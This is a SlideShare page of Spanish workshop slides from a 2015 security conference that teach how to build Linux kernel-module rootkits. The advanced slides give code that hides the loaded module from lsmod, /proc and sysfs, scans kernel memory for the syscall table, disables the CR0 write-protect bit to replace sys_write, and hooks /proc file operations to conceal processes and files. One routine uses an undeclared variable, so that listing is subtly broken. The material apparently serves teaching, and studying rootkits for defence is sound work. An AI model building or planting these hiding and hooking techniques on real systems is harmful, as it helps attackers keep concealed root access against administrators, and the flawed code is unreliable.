SlideShare una empresa de Scribd logo
1 de 25
Descargar para leer sin conexión
Building Basics Rootkits
Building Basics Rootkits
Attack Strategies
07 de Septiembre de 2015
Building Basics Rootkits
Contents
1 Introducci´on
¿Qu´e es un Rootkit?
Tipos de Rootkits
Funciones Comunes de Rootkits
2 Manos a la Obra
Consideraciones
Primeros Pasos
Ejercicio: Hello World Module
Manejando Parametros
3 T´opicos Avanzados
Trabajando con la Estructura de Tareas
Escondiendo nuestros pasos
Building Basics Rootkits
Introducci´on
¿Qu´e es un Rootkit?
¿Qu´e es un Rootkit?
Un rootkit (seg´un Wikipedia), se puede definir como:
Un programa que permite un acceso de privilegio
continuo a una computadora pero que mantiene su
presencia activamente oculta al control de los
administradores al corromper el funcionamiento normal
del sistema operativo o de otras aplicaciones.
Building Basics Rootkits
Introducci´on
Tipos de Rootkits
Tipos de Rootkits
Practicamente podemos hablar de dos tipos de rootkits:
1 Rootkits en Espacio de Usuario, Los cuales corren en
Ring-3, y modifican librer´ıas, o archivos de configuraci´on, e
inclusive ejecutables (ls, ps, etc).
2 Rootkits en Espacio de Kernel, Los cuales corren en
Ring-0, y modifican estructuras del kernel, atrapan llamadas
de sistema (hijacking syscall-table), etc. Podemos tenerlos
como LKM’s o como patch al kernel corriendo /dev/kmem
Building Basics Rootkits
Introducci´on
Funciones Comunes de Rootkits
Funciones Comunes de Rootkits
Esconder Procesos
Esconder Archivos
Esconder Conexiones de Red
Backdoors
Keyloggers
Darnos acceso a root
Building Basics Rootkits
Manos a la Obra
Consideraciones
Consideraciones
Las diferencias m´as importantes entre un desarrollo a n´ıvel kernel o
espacio usuario son:
El kernel carece de protecci´on de memoria... algo que se
ofrece en el espacio de usuario.
El kernel no puede ejecutar de manera sencilla operaciones en
punto flotante.
El kernel tiene un espacio en pila muy reducido por proceso.
Debido a la naturaleza as´ıncrona de las interrupciones del
kernel, la concurrencia es de los temas a poner mas ´enfasis al
desarrollar (Race-Conditions).
La portabilidad... entre versi´on y versi´on de n´ucleo.
Building Basics Rootkits
Manos a la Obra
Primeros Pasos
Primeros Pasos
Algunas Macros importantes:
module init();
module exit();
MODULE LICENSE(”GPL”);
MODULE AUTHOR(”NataS”);
MODULE DESCRIPTION(”My LKM”);
Building Basics Rootkits
Manos a la Obra
Ejercicio: Hello World Module
Hello World
#include <linux/init.h>
#include <linux/module.h>
#include <linux/kernel.h>
static int hello_init(void) {
printk(KERN_ALERT "Hello GuadalajaraCon! My first LKM.n");
return 0;
}
static void hello_exit(void) {
printk(KERN_ALERT "Goodbye GuadalajaraCon!n");
}
module_init(hello_init);
module_exit(hello_exit);
MODULE_LICENSE("GPL");
MODULE_AUTHOR("NataS");
MODULE_DESCRIPTION("My First LKM");
Building Basics Rootkits
Manos a la Obra
Ejercicio: Hello World Module
Hello World
Nuestro Makefile:
obj-m := modulo.o
Y Compilamos como:
make -C /lib/modules/$(uname -r)/build
SUBDIRS=$PWD modules
Cargamos nuestro m´odulo
insmod modulo.ko
Listamos nuestro m´odulo
lsmod | grep modulo
Eliminamos nuestro m´odulo
rmmod modulo.ko
Building Basics Rootkits
Manos a la Obra
Manejando Parametros
Manejando Parametros
Los par´ametros se mandan cuando arrancamos el m´odulo de la
forma:
insmod modulo param1=valor1 param2=valor2
Para definir los par´ametros, primero declaramos variables y las
pasamos a la macro:
module_param(nombre, tipo, permisos)
module_param_string(nombre,variable, longitud, permisos);
Permisos son los definidos en sysfs, y afectan las entradas del
modulo en /sys/module
Building Basics Rootkits
Manos a la Obra
Manejando Parametros
Ejercicio: Name and Age
static char myName[50];
module_param_string(name, myName, 50, 0);
static int age = 1;
module_param(age, int, 0);
...
printk(KERN_ALERT "Hi! %s, your age: %i", myName, age);
Building Basics Rootkits
T´opicos Avanzados
Trabajando con la Estructura de Tareas
Trabajando con la Estructura de Tareas
El kernel de linux contiene una lista enlazada (definida en
include/linux/types.h e include/linux/list.h) de tareas, las cuales
son una estructura declarada en include/linux/sched.h.
Building Basics Rootkits
T´opicos Avanzados
Trabajando con la Estructura de Tareas
Trabajando con la Estructura de Tareas
Desde el kernel tenemos acceso directo a la lista de tareas
(task struct), la cual es una lista doblemente enlazada ¿A´un
recuerdan sus clases de programaci´on? Para acceder a la estructura
que contiene informaci´on sobre nuestro proceso, basta con hacer
uso del puntero current
#include <linux/sched.h>
#include <asm/current.h>
static int hello_init(void) {
printk(KERN_ALERT "My Name --> %s and PID -->
%i n", current->comm, current->pid);
return 0;
}
Building Basics Rootkits
T´opicos Avanzados
Trabajando con la Estructura de Tareas
Ejercicio: Get my PID and all others
Usando los c´odigos anteriores... Recorran la lista de tareas y pinten
cada proceso y su PID. Con este acceso pueden intentar esconder
un proceso tambi´en:
Building Basics Rootkits
T´opicos Avanzados
Escondiendo nuestros pasos
Hidding Ver.1
El kernel maneja un lista enlazada en la cual, mantiene la
referencia de todos los m´odulos que est´an cargados (lsmod y
/proc leen dicha lista).
Esconder nuestro m´odulo es muy sencillo, en la funci´on de
inicio del m´odulo basta con eliminar la referencia de la lista:
list_del(&THIS_MODULE->list);
Dos problemas con esta primer aproximaci´on:
1 A´un somos detectables desde /sys
2 Al hacer un unload del m´odulo, debido a que no existe en la
lista, se provoca un Oops que genera un kernel panic o crash
del sistema, dejando rastros.
Building Basics Rootkits
T´opicos Avanzados
Escondiendo nuestros pasos
Ejercicio: Hide myself
Nos escodemos:
static int hide_init(void) {
printk(KERN_ALERT "Hello World! My first LKM.n");
printk(KERN_ALERT "Let’s get hide myself.n");
list_del(&THIS_MODULE->list);
return 0;
}
Nos buscamos
lsmod | grep modulo
cat /proc/modules | grep modulo
Nos Encontramos
ls /sys/module/modulo
Building Basics Rootkits
T´opicos Avanzados
Escondiendo nuestros pasos
Hidding. Ve2
Cada entrada en /sys es un objeto module kobject (definido
en module.h) que internamente tienen una estructura del tipo
kobject (definido en kobject.h).
Examinando el c´odigo del kernel, vemos que en la descarga del
m´odulo, primero debemos eliminarnos de /sys y
posteriormente de la vista.
Hay que tomar en cuenta, que el kernel no libera objetos que
est´en iniciados a NULL
Recomendaciones:
1 Recordar informaci´on previa (prev y next en la lista).
2 Sobreescribir readproc y writeproc
3 Funciones est´aticas para no dejar rastros en /proc/kallsyms
Building Basics Rootkits
T´opicos Avanzados
Escondiendo nuestros pasos
Ejercicio: Find Me if You can
static inline void hideme(void) {
list_del(&THIS_MODULE->list);
kobject_del(&THIS_MODULE->mkobj.kobj);
list_del(&THIS_MODULE->mkobj.kobj.entry);
kfree(THIS_MODULE->notes_attrs);
THIS_MODULE->notes_attrs = NULL;
kfree(THIS_MODULE->sect_attrs);
THIS_MODULE->sect_attrs = NULL;
kfree(THIS_MODULE->mkobj.mp);
THIS_MODULE->mkobj.mp = NULL;
THIS_MODULE->modinfo_attrs->attr.name = NULL;
kfree(THIS_MODULE->mkobj.drivers_dir);
THIS_MODULE->mkobj.drivers_dir = NULL;
}
Ahora... busquemos el m´odulo
Building Basics Rootkits
T´opicos Avanzados
Escondiendo nuestros pasos
Dinamyc Hijacking
La direcci´on de la sys call table, puede ser encontrada en el archivo
System.map-$(uname -r) ¿Que ocurre cuando ya no existe ese
archivo?
El rango de memoria del kernel en arquitecturas X86 es del
0xc0000000 al 0xffffffff. Ahora bien, para encontrar la sys call table
basta con buscar hasta la 0xd0000000 ¿porque?
CONFIG HIGHMEM.
Para x86 64 podemos encontrar el inicio de la memoria del kernel
en 0xffffffff81000000 y de ahi podemos iterar hasta 0xffffffffffffffff,
es de destacar que igual que en la arquitectura de 32Bits, no
debemos iterar todas las direcciones, basta iterar hasta
0xffffffff81ffffff.
Finalmente... solo basta comparar alguna sys call cuyos s´ımbolos se
exporten, sys close por ejemplo.
Building Basics Rootkits
T´opicos Avanzados
Escondiendo nuestros pasos
Dinamyc Hijacking
#if defined __x86_64__
#define START_MEM 0xffffffff81000000
#define END_MEM 0xffffffff81ffffff
#else
#define START_MEM 0xc0000000
#define END_MEM 0xd0000000
#endif
unsigned long **find_syscalltable() {
unsigned long **syscalltable;
unsigned long int i = START_MEM;
while ( i < END_MEM) {
sctable = (unsigned long **)i;
if ( syscalltable[__NR_close] == (unsigned long *)sys_close) {
return &syscalltable[0];
}
i += sizeof(void *);
}
return NULL;
}
Building Basics Rootkits
T´opicos Avanzados
Escondiendo nuestros pasos
Dinamyc Hijacking
Pero la sys call table esta protegida contra escritura ¿o no? Existen
diferentes registros de procesador, el que nos interesa es el cr0. El
kernel nos da dos funciones para manipular este registro: write cr0
y read cr0.
El Bit 0 de este registro maneja el Protected Mode, por ello se
llama WP bit. Solo basta modificar este bit antes y despu´es del
hijacking
write_cr0 (read_cr0 () & (~ 0x10000));
printk(KERN_ALERT "nWrite Protection Disabled XD");
original_write = (void *)syscall_table[__NR_write];
syscall_table[__NR_write] = new_write;
write_cr0 (read_cr0 () | 0x10000);
printk(KERN_ALERT "nWrite Protection Enabled");
/*
0X10000 --> 000...010000000000000000
~(0X10000) --> 111...101111111111111111
*/
Building Basics Rootkits
T´opicos Avanzados
Escondiendo nuestros pasos
Hijacking Syscall
Interrupciones a llamadas de sistema se usan para evitar accesos a
procesos o archivos generados por nosotros.
syscall natas_open(pathname, flags, mode) {
if (XXX==XXX)
call open(pathname, flags, mode)
else
printf("Not found");
}
Building Basics Rootkits
T´opicos Avanzados
Escondiendo nuestros pasos
Hijacking VFS
Interrupciones a llamadas de sistema se usan para evitar accesos a
procesos o archivos generados por nosotros.
syscall natas_lookup(parent_directory,
pathname, ...) {
if (XXX==XXX)
call real_lookup(parent_directory,
pathname, ...)
else
printf("Error");
}
Building Basics Rootkits
T´opicos Avanzados
Escondiendo nuestros pasos
Hijacking VFS
struct inode *pinode;
const struct file_operations *proc_original;
static struct file_operations proc_fops;
void hook_proc(struct proc_dir_entry *root) {
struct path proc_path;
if (kern_path("/proc/",0,&proc_path))
return;
pinode = proc_path.dentry->d_inode;
if(!pinode)
return;
proc_fops = *pinode->i_fop;
proc_original = pinode->i_fop;
proc_fops.readdir = natas_lookup;
pinode->i_fop = &proc_fops;
}
Building Basics Rootkits
Referencias
Referencias
Designing BSD Rootkits, Joseph Kong
Linux Kernel Development, Robert Love
Writing Kernel Exploits Paper, Keegan MacAllister
Linux Kernel Crash Book, Igor Ljubuncic
The Rootkits Arsenal, Reverend Bill Blunden

Más contenido relacionado

La actualidad más candente

La actualidad más candente (19)

Electrónica digital: lógica programable VHDL parte 2
Electrónica digital: lógica programable VHDL parte 2Electrónica digital: lógica programable VHDL parte 2
Electrónica digital: lógica programable VHDL parte 2
 
Lab5 guia
Lab5 guiaLab5 guia
Lab5 guia
 
Programando en java
Programando en javaProgramando en java
Programando en java
 
Desarrollo de drivers y aplicaciones para FreeRtos
Desarrollo de drivers y aplicaciones para FreeRtosDesarrollo de drivers y aplicaciones para FreeRtos
Desarrollo de drivers y aplicaciones para FreeRtos
 
Procesamiento superescalar
Procesamiento superescalarProcesamiento superescalar
Procesamiento superescalar
 
Diseño formal de máquinas virtuales Java
Diseño formal de máquinas virtuales JavaDiseño formal de máquinas virtuales Java
Diseño formal de máquinas virtuales Java
 
Threads en Java
Threads en JavaThreads en Java
Threads en Java
 
Programación multitarea
Programación multitareaProgramación multitarea
Programación multitarea
 
Serialización de Objetos Java
Serialización de Objetos Java Serialización de Objetos Java
Serialización de Objetos Java
 
Comunicaciones en Java
Comunicaciones en JavaComunicaciones en Java
Comunicaciones en Java
 
Serialización de objetos en java
Serialización de objetos en javaSerialización de objetos en java
Serialización de objetos en java
 
Chap 15apin
Chap 15apinChap 15apin
Chap 15apin
 
Networking
NetworkingNetworking
Networking
 
Java ArrayList Iterator
Java ArrayList IteratorJava ArrayList Iterator
Java ArrayList Iterator
 
Multitarea
MultitareaMultitarea
Multitarea
 
Linux ud7 - gestion de procesos
Linux   ud7 - gestion de procesosLinux   ud7 - gestion de procesos
Linux ud7 - gestion de procesos
 
Traduccion capitulo 9 (completo)
Traduccion capitulo 9 (completo)Traduccion capitulo 9 (completo)
Traduccion capitulo 9 (completo)
 
Tema 2: Procesadores superescalares.
Tema 2: Procesadores superescalares.Tema 2: Procesadores superescalares.
Tema 2: Procesadores superescalares.
 
Librerias java
Librerias javaLibrerias java
Librerias java
 

Similar a Construyendo rootkits basicos

Similar a Construyendo rootkits basicos (20)

Desarrollo de rootkits en Linux [GuadalajaraCON 2013]
Desarrollo de rootkits en Linux [GuadalajaraCON 2013]Desarrollo de rootkits en Linux [GuadalajaraCON 2013]
Desarrollo de rootkits en Linux [GuadalajaraCON 2013]
 
procesos
procesosprocesos
procesos
 
Visual basic .NET
Visual basic .NETVisual basic .NET
Visual basic .NET
 
Evasión de Técnicas Forenses
Evasión de Técnicas ForensesEvasión de Técnicas Forenses
Evasión de Técnicas Forenses
 
37 supervisión del sistema
37  supervisión del sistema37  supervisión del sistema
37 supervisión del sistema
 
Realidad Aumentada 01 documentacion tapir
Realidad Aumentada 01 documentacion tapirRealidad Aumentada 01 documentacion tapir
Realidad Aumentada 01 documentacion tapir
 
Present3
Present3Present3
Present3
 
Curso básico linux
Curso básico linuxCurso básico linux
Curso básico linux
 
Seguridad so pii_2011
Seguridad so pii_2011Seguridad so pii_2011
Seguridad so pii_2011
 
Creacion de shellcodes para Exploits en Linux/x86
Creacion de shellcodes para Exploits en Linux/x86 Creacion de shellcodes para Exploits en Linux/x86
Creacion de shellcodes para Exploits en Linux/x86
 
Parcial I de Sistema de Operación – Semestre 201415
Parcial I de Sistema de Operación – Semestre 201415Parcial I de Sistema de Operación – Semestre 201415
Parcial I de Sistema de Operación – Semestre 201415
 
Introducción a PostgreSql
Introducción a PostgreSqlIntroducción a PostgreSql
Introducción a PostgreSql
 
Cli en routers y switches cisco
Cli en routers y switches ciscoCli en routers y switches cisco
Cli en routers y switches cisco
 
El Procesador o CPU 2
El Procesador o CPU 2El Procesador o CPU 2
El Procesador o CPU 2
 
Microprocesador
MicroprocesadorMicroprocesador
Microprocesador
 
Sesion 02 c++
Sesion 02   c++Sesion 02   c++
Sesion 02 c++
 
Informe tecnico u4 final
Informe tecnico u4 finalInforme tecnico u4 final
Informe tecnico u4 final
 
CUESTIONARIO 2NDA UNIDAD
CUESTIONARIO 2NDA UNIDADCUESTIONARIO 2NDA UNIDAD
CUESTIONARIO 2NDA UNIDAD
 
Mysql
MysqlMysql
Mysql
 
Mysql
MysqlMysql
Mysql
 

Más de Tensor

Libertad
LibertadLibertad
LibertadTensor
 
Método de la regla falsa (o metodo de la falsa posición)
Método de la regla falsa (o metodo de la falsa posición)Método de la regla falsa (o metodo de la falsa posición)
Método de la regla falsa (o metodo de la falsa posición)Tensor
 
Metodo de la bisección
Metodo de la bisecciónMetodo de la bisección
Metodo de la bisecciónTensor
 
Transito vehicular
Transito vehicularTransito vehicular
Transito vehicularTensor
 
Teoria de colas
Teoria de colasTeoria de colas
Teoria de colasTensor
 
Practica 7 2016
Practica 7 2016Practica 7 2016
Practica 7 2016Tensor
 
Practica 6 2016
Practica 6 2016Practica 6 2016
Practica 6 2016Tensor
 
Game maker
Game makerGame maker
Game makerTensor
 
Practica 5 2016
Practica 5 2016Practica 5 2016
Practica 5 2016Tensor
 
Procesamiento de archivos
Procesamiento de archivosProcesamiento de archivos
Procesamiento de archivosTensor
 
Cadenas y funciones de cadena
Cadenas y funciones de cadenaCadenas y funciones de cadena
Cadenas y funciones de cadenaTensor
 
Simulación en promodel clase 04
Simulación en promodel clase 04Simulación en promodel clase 04
Simulación en promodel clase 04Tensor
 
Reduccion de orden
Reduccion de ordenReduccion de orden
Reduccion de ordenTensor
 
Variación+de+parametros
Variación+de+parametrosVariación+de+parametros
Variación+de+parametrosTensor
 
Coeficientes indeterminados enfoque de superposición
Coeficientes indeterminados   enfoque de superposiciónCoeficientes indeterminados   enfoque de superposición
Coeficientes indeterminados enfoque de superposiciónTensor
 
Bernoulli y ricatti
Bernoulli y ricattiBernoulli y ricatti
Bernoulli y ricattiTensor
 
Practica no. 3 tiempo de servicio
Practica no. 3 tiempo de servicioPractica no. 3 tiempo de servicio
Practica no. 3 tiempo de servicioTensor
 
Clase 14 ondas reflejadas
Clase 14 ondas reflejadasClase 14 ondas reflejadas
Clase 14 ondas reflejadasTensor
 
Ondas em
Ondas emOndas em
Ondas emTensor
 
Clase 7 ondas electromagneticas
Clase 7 ondas electromagneticasClase 7 ondas electromagneticas
Clase 7 ondas electromagneticasTensor
 

Más de Tensor (20)

Libertad
LibertadLibertad
Libertad
 
Método de la regla falsa (o metodo de la falsa posición)
Método de la regla falsa (o metodo de la falsa posición)Método de la regla falsa (o metodo de la falsa posición)
Método de la regla falsa (o metodo de la falsa posición)
 
Metodo de la bisección
Metodo de la bisecciónMetodo de la bisección
Metodo de la bisección
 
Transito vehicular
Transito vehicularTransito vehicular
Transito vehicular
 
Teoria de colas
Teoria de colasTeoria de colas
Teoria de colas
 
Practica 7 2016
Practica 7 2016Practica 7 2016
Practica 7 2016
 
Practica 6 2016
Practica 6 2016Practica 6 2016
Practica 6 2016
 
Game maker
Game makerGame maker
Game maker
 
Practica 5 2016
Practica 5 2016Practica 5 2016
Practica 5 2016
 
Procesamiento de archivos
Procesamiento de archivosProcesamiento de archivos
Procesamiento de archivos
 
Cadenas y funciones de cadena
Cadenas y funciones de cadenaCadenas y funciones de cadena
Cadenas y funciones de cadena
 
Simulación en promodel clase 04
Simulación en promodel clase 04Simulación en promodel clase 04
Simulación en promodel clase 04
 
Reduccion de orden
Reduccion de ordenReduccion de orden
Reduccion de orden
 
Variación+de+parametros
Variación+de+parametrosVariación+de+parametros
Variación+de+parametros
 
Coeficientes indeterminados enfoque de superposición
Coeficientes indeterminados   enfoque de superposiciónCoeficientes indeterminados   enfoque de superposición
Coeficientes indeterminados enfoque de superposición
 
Bernoulli y ricatti
Bernoulli y ricattiBernoulli y ricatti
Bernoulli y ricatti
 
Practica no. 3 tiempo de servicio
Practica no. 3 tiempo de servicioPractica no. 3 tiempo de servicio
Practica no. 3 tiempo de servicio
 
Clase 14 ondas reflejadas
Clase 14 ondas reflejadasClase 14 ondas reflejadas
Clase 14 ondas reflejadas
 
Ondas em
Ondas emOndas em
Ondas em
 
Clase 7 ondas electromagneticas
Clase 7 ondas electromagneticasClase 7 ondas electromagneticas
Clase 7 ondas electromagneticas
 

Último

NARRACIONES SOBRE LA VIDA DEL GENERAL ELOY ALFARO
NARRACIONES SOBRE LA VIDA DEL GENERAL ELOY ALFARONARRACIONES SOBRE LA VIDA DEL GENERAL ELOY ALFARO
NARRACIONES SOBRE LA VIDA DEL GENERAL ELOY ALFAROJosé Luis Palma
 
La Función tecnológica del tutor.pptx
La  Función  tecnológica  del tutor.pptxLa  Función  tecnológica  del tutor.pptx
La Función tecnológica del tutor.pptxJunkotantik
 
Estas son las escuelas y colegios que tendrán modalidad no presencial este lu...
Estas son las escuelas y colegios que tendrán modalidad no presencial este lu...Estas son las escuelas y colegios que tendrán modalidad no presencial este lu...
Estas son las escuelas y colegios que tendrán modalidad no presencial este lu...fcastellanos3
 
c3.hu3.p1.p2.El ser humano y el sentido de su existencia.pptx
c3.hu3.p1.p2.El ser humano y el sentido de su existencia.pptxc3.hu3.p1.p2.El ser humano y el sentido de su existencia.pptx
c3.hu3.p1.p2.El ser humano y el sentido de su existencia.pptxMartín Ramírez
 
TEST DE RAVEN es un test conocido para la personalidad.pdf
TEST DE RAVEN es un test conocido para la personalidad.pdfTEST DE RAVEN es un test conocido para la personalidad.pdf
TEST DE RAVEN es un test conocido para la personalidad.pdfDannyTola1
 
Plan Año Escolar Año Escolar 2023-2024. MPPE
Plan Año Escolar Año Escolar 2023-2024. MPPEPlan Año Escolar Año Escolar 2023-2024. MPPE
Plan Año Escolar Año Escolar 2023-2024. MPPELaura Chacón
 
PPT GESTIÓN ESCOLAR 2024 Comités y Compromisos.pptx
PPT GESTIÓN ESCOLAR 2024 Comités y Compromisos.pptxPPT GESTIÓN ESCOLAR 2024 Comités y Compromisos.pptx
PPT GESTIÓN ESCOLAR 2024 Comités y Compromisos.pptxOscarEduardoSanchezC
 
LINEAMIENTOS INICIO DEL AÑO LECTIVO 2024-2025.pptx
LINEAMIENTOS INICIO DEL AÑO LECTIVO 2024-2025.pptxLINEAMIENTOS INICIO DEL AÑO LECTIVO 2024-2025.pptx
LINEAMIENTOS INICIO DEL AÑO LECTIVO 2024-2025.pptxdanalikcruz2000
 
periodico mural y sus partes y caracteristicas
periodico mural y sus partes y caracteristicasperiodico mural y sus partes y caracteristicas
periodico mural y sus partes y caracteristicas123yudy
 
Estrategia de Enseñanza y Aprendizaje.pdf
Estrategia de Enseñanza y Aprendizaje.pdfEstrategia de Enseñanza y Aprendizaje.pdf
Estrategia de Enseñanza y Aprendizaje.pdfromanmillans
 
Unidad II Doctrina de la Iglesia 1 parte
Unidad II Doctrina de la Iglesia 1 parteUnidad II Doctrina de la Iglesia 1 parte
Unidad II Doctrina de la Iglesia 1 parteJuan Hernandez
 
Procesos Didácticos en Educación Inicial .pptx
Procesos Didácticos en Educación Inicial .pptxProcesos Didácticos en Educación Inicial .pptx
Procesos Didácticos en Educación Inicial .pptxMapyMerma1
 
RAIZ CUADRADA Y CUBICA PARA NIÑOS DE PRIMARIA
RAIZ CUADRADA Y CUBICA PARA NIÑOS DE PRIMARIARAIZ CUADRADA Y CUBICA PARA NIÑOS DE PRIMARIA
RAIZ CUADRADA Y CUBICA PARA NIÑOS DE PRIMARIACarlos Campaña Montenegro
 
OLIMPIADA DEL CONOCIMIENTO INFANTIL 2024.pptx
OLIMPIADA DEL CONOCIMIENTO INFANTIL 2024.pptxOLIMPIADA DEL CONOCIMIENTO INFANTIL 2024.pptx
OLIMPIADA DEL CONOCIMIENTO INFANTIL 2024.pptxjosetrinidadchavez
 
Clasificaciones, modalidades y tendencias de investigación educativa.
Clasificaciones, modalidades y tendencias de investigación educativa.Clasificaciones, modalidades y tendencias de investigación educativa.
Clasificaciones, modalidades y tendencias de investigación educativa.José Luis Palma
 
VOLUMEN 1 COLECCION PRODUCCION BOVINA . SERIE SANIDAD ANIMAL
VOLUMEN 1 COLECCION PRODUCCION BOVINA . SERIE SANIDAD ANIMALVOLUMEN 1 COLECCION PRODUCCION BOVINA . SERIE SANIDAD ANIMAL
VOLUMEN 1 COLECCION PRODUCCION BOVINA . SERIE SANIDAD ANIMALEDUCCUniversidadCatl
 
5° SEM29 CRONOGRAMA PLANEACIÓN DOCENTE DARUKEL 23-24.pdf
5° SEM29 CRONOGRAMA PLANEACIÓN DOCENTE DARUKEL 23-24.pdf5° SEM29 CRONOGRAMA PLANEACIÓN DOCENTE DARUKEL 23-24.pdf
5° SEM29 CRONOGRAMA PLANEACIÓN DOCENTE DARUKEL 23-24.pdfOswaldoGonzalezCruz
 
TRIPTICO-SISTEMA-MUSCULAR. PARA NIÑOS DE PRIMARIA
TRIPTICO-SISTEMA-MUSCULAR. PARA NIÑOS DE PRIMARIATRIPTICO-SISTEMA-MUSCULAR. PARA NIÑOS DE PRIMARIA
TRIPTICO-SISTEMA-MUSCULAR. PARA NIÑOS DE PRIMARIAAbelardoVelaAlbrecht1
 
Mapa Mental de estrategias de articulación de las areas curriculares.pdf
Mapa Mental de estrategias de articulación de las areas curriculares.pdfMapa Mental de estrategias de articulación de las areas curriculares.pdf
Mapa Mental de estrategias de articulación de las areas curriculares.pdfvictorbeltuce
 

Último (20)

NARRACIONES SOBRE LA VIDA DEL GENERAL ELOY ALFARO
NARRACIONES SOBRE LA VIDA DEL GENERAL ELOY ALFARONARRACIONES SOBRE LA VIDA DEL GENERAL ELOY ALFARO
NARRACIONES SOBRE LA VIDA DEL GENERAL ELOY ALFARO
 
La Función tecnológica del tutor.pptx
La  Función  tecnológica  del tutor.pptxLa  Función  tecnológica  del tutor.pptx
La Función tecnológica del tutor.pptx
 
Estas son las escuelas y colegios que tendrán modalidad no presencial este lu...
Estas son las escuelas y colegios que tendrán modalidad no presencial este lu...Estas son las escuelas y colegios que tendrán modalidad no presencial este lu...
Estas son las escuelas y colegios que tendrán modalidad no presencial este lu...
 
VISITA À PROTEÇÃO CIVIL _
VISITA À PROTEÇÃO CIVIL                  _VISITA À PROTEÇÃO CIVIL                  _
VISITA À PROTEÇÃO CIVIL _
 
c3.hu3.p1.p2.El ser humano y el sentido de su existencia.pptx
c3.hu3.p1.p2.El ser humano y el sentido de su existencia.pptxc3.hu3.p1.p2.El ser humano y el sentido de su existencia.pptx
c3.hu3.p1.p2.El ser humano y el sentido de su existencia.pptx
 
TEST DE RAVEN es un test conocido para la personalidad.pdf
TEST DE RAVEN es un test conocido para la personalidad.pdfTEST DE RAVEN es un test conocido para la personalidad.pdf
TEST DE RAVEN es un test conocido para la personalidad.pdf
 
Plan Año Escolar Año Escolar 2023-2024. MPPE
Plan Año Escolar Año Escolar 2023-2024. MPPEPlan Año Escolar Año Escolar 2023-2024. MPPE
Plan Año Escolar Año Escolar 2023-2024. MPPE
 
PPT GESTIÓN ESCOLAR 2024 Comités y Compromisos.pptx
PPT GESTIÓN ESCOLAR 2024 Comités y Compromisos.pptxPPT GESTIÓN ESCOLAR 2024 Comités y Compromisos.pptx
PPT GESTIÓN ESCOLAR 2024 Comités y Compromisos.pptx
 
LINEAMIENTOS INICIO DEL AÑO LECTIVO 2024-2025.pptx
LINEAMIENTOS INICIO DEL AÑO LECTIVO 2024-2025.pptxLINEAMIENTOS INICIO DEL AÑO LECTIVO 2024-2025.pptx
LINEAMIENTOS INICIO DEL AÑO LECTIVO 2024-2025.pptx
 
periodico mural y sus partes y caracteristicas
periodico mural y sus partes y caracteristicasperiodico mural y sus partes y caracteristicas
periodico mural y sus partes y caracteristicas
 
Estrategia de Enseñanza y Aprendizaje.pdf
Estrategia de Enseñanza y Aprendizaje.pdfEstrategia de Enseñanza y Aprendizaje.pdf
Estrategia de Enseñanza y Aprendizaje.pdf
 
Unidad II Doctrina de la Iglesia 1 parte
Unidad II Doctrina de la Iglesia 1 parteUnidad II Doctrina de la Iglesia 1 parte
Unidad II Doctrina de la Iglesia 1 parte
 
Procesos Didácticos en Educación Inicial .pptx
Procesos Didácticos en Educación Inicial .pptxProcesos Didácticos en Educación Inicial .pptx
Procesos Didácticos en Educación Inicial .pptx
 
RAIZ CUADRADA Y CUBICA PARA NIÑOS DE PRIMARIA
RAIZ CUADRADA Y CUBICA PARA NIÑOS DE PRIMARIARAIZ CUADRADA Y CUBICA PARA NIÑOS DE PRIMARIA
RAIZ CUADRADA Y CUBICA PARA NIÑOS DE PRIMARIA
 
OLIMPIADA DEL CONOCIMIENTO INFANTIL 2024.pptx
OLIMPIADA DEL CONOCIMIENTO INFANTIL 2024.pptxOLIMPIADA DEL CONOCIMIENTO INFANTIL 2024.pptx
OLIMPIADA DEL CONOCIMIENTO INFANTIL 2024.pptx
 
Clasificaciones, modalidades y tendencias de investigación educativa.
Clasificaciones, modalidades y tendencias de investigación educativa.Clasificaciones, modalidades y tendencias de investigación educativa.
Clasificaciones, modalidades y tendencias de investigación educativa.
 
VOLUMEN 1 COLECCION PRODUCCION BOVINA . SERIE SANIDAD ANIMAL
VOLUMEN 1 COLECCION PRODUCCION BOVINA . SERIE SANIDAD ANIMALVOLUMEN 1 COLECCION PRODUCCION BOVINA . SERIE SANIDAD ANIMAL
VOLUMEN 1 COLECCION PRODUCCION BOVINA . SERIE SANIDAD ANIMAL
 
5° SEM29 CRONOGRAMA PLANEACIÓN DOCENTE DARUKEL 23-24.pdf
5° SEM29 CRONOGRAMA PLANEACIÓN DOCENTE DARUKEL 23-24.pdf5° SEM29 CRONOGRAMA PLANEACIÓN DOCENTE DARUKEL 23-24.pdf
5° SEM29 CRONOGRAMA PLANEACIÓN DOCENTE DARUKEL 23-24.pdf
 
TRIPTICO-SISTEMA-MUSCULAR. PARA NIÑOS DE PRIMARIA
TRIPTICO-SISTEMA-MUSCULAR. PARA NIÑOS DE PRIMARIATRIPTICO-SISTEMA-MUSCULAR. PARA NIÑOS DE PRIMARIA
TRIPTICO-SISTEMA-MUSCULAR. PARA NIÑOS DE PRIMARIA
 
Mapa Mental de estrategias de articulación de las areas curriculares.pdf
Mapa Mental de estrategias de articulación de las areas curriculares.pdfMapa Mental de estrategias de articulación de las areas curriculares.pdf
Mapa Mental de estrategias de articulación de las areas curriculares.pdf
 

Construyendo rootkits basicos

  • 1. Building Basics Rootkits Building Basics Rootkits Attack Strategies 07 de Septiembre de 2015
  • 2. Building Basics Rootkits Contents 1 Introducci´on ¿Qu´e es un Rootkit? Tipos de Rootkits Funciones Comunes de Rootkits 2 Manos a la Obra Consideraciones Primeros Pasos Ejercicio: Hello World Module Manejando Parametros 3 T´opicos Avanzados Trabajando con la Estructura de Tareas Escondiendo nuestros pasos
  • 3. Building Basics Rootkits Introducci´on ¿Qu´e es un Rootkit? ¿Qu´e es un Rootkit? Un rootkit (seg´un Wikipedia), se puede definir como: Un programa que permite un acceso de privilegio continuo a una computadora pero que mantiene su presencia activamente oculta al control de los administradores al corromper el funcionamiento normal del sistema operativo o de otras aplicaciones.
  • 4. Building Basics Rootkits Introducci´on Tipos de Rootkits Tipos de Rootkits Practicamente podemos hablar de dos tipos de rootkits: 1 Rootkits en Espacio de Usuario, Los cuales corren en Ring-3, y modifican librer´ıas, o archivos de configuraci´on, e inclusive ejecutables (ls, ps, etc). 2 Rootkits en Espacio de Kernel, Los cuales corren en Ring-0, y modifican estructuras del kernel, atrapan llamadas de sistema (hijacking syscall-table), etc. Podemos tenerlos como LKM’s o como patch al kernel corriendo /dev/kmem
  • 5. Building Basics Rootkits Introducci´on Funciones Comunes de Rootkits Funciones Comunes de Rootkits Esconder Procesos Esconder Archivos Esconder Conexiones de Red Backdoors Keyloggers Darnos acceso a root
